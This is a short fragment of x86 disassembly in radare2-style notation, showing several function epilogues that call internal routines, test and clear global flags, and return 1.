call fcn.004120c0
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, edi
mov dword [0x43a7a4], 0
call fcn.004120c0
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x43a7ac], 0
mov ecx, edi
jne 0x410588
call fcn.0040ffe0
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret